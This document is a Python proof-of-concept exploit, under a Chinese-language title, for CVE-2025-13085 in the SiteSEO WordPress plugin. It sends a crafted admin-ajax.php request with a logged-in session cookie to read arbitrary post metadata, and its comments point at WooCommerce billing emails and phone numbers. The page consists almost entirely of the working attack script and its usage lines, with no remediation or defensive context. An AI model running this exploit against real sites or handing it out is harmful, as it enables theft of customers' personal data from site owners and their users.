CVE-2025-13085 SiteSEO WordPress插件未授权敏感数据泄露漏洞

import requests import sys # CVE-2025-13085 PoC - SiteSEO Unauthorized Metadata Disclosure # Target: WordPress site with SiteSEO plugin <= 1.3.2 def exploit_siteseo_cve_2025_13085(target_url, wp_admin_cookie): """ Exploit for SiteSEO improper authorization vulnerability Allows authenticated users with siteseo_manage capability to read arbitrary post metadata """ # Target endpoint for AJAX request ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare payload to read arbitrary post metadata # This exploits the resolve_variables() function lacking authorization checks payload = { 'action': 'siteseo_pro_resolution', 'post_id': 'TARGET_POST_ID', # Target post/order ID to read metadata from 'variable': 'meta_key_to_exploit', # e.g., _billing_email, _billing_phone, etc. 'post_type': 'post' # or 'shop_order' for WooCommerce } headers = { 'Cookie': wp_admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded' } try: response = requests.post(ajax_url, data=payload, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Request successful - Metadata disclosure possible") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-13085.py <target_url> <wp_admin_cookie>") print("Example: python cve-2025-13085.py http://example.com 'wordpress_logged_in_xxx=xxx'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit_siteseo_cve_2025_13085(target, cookie)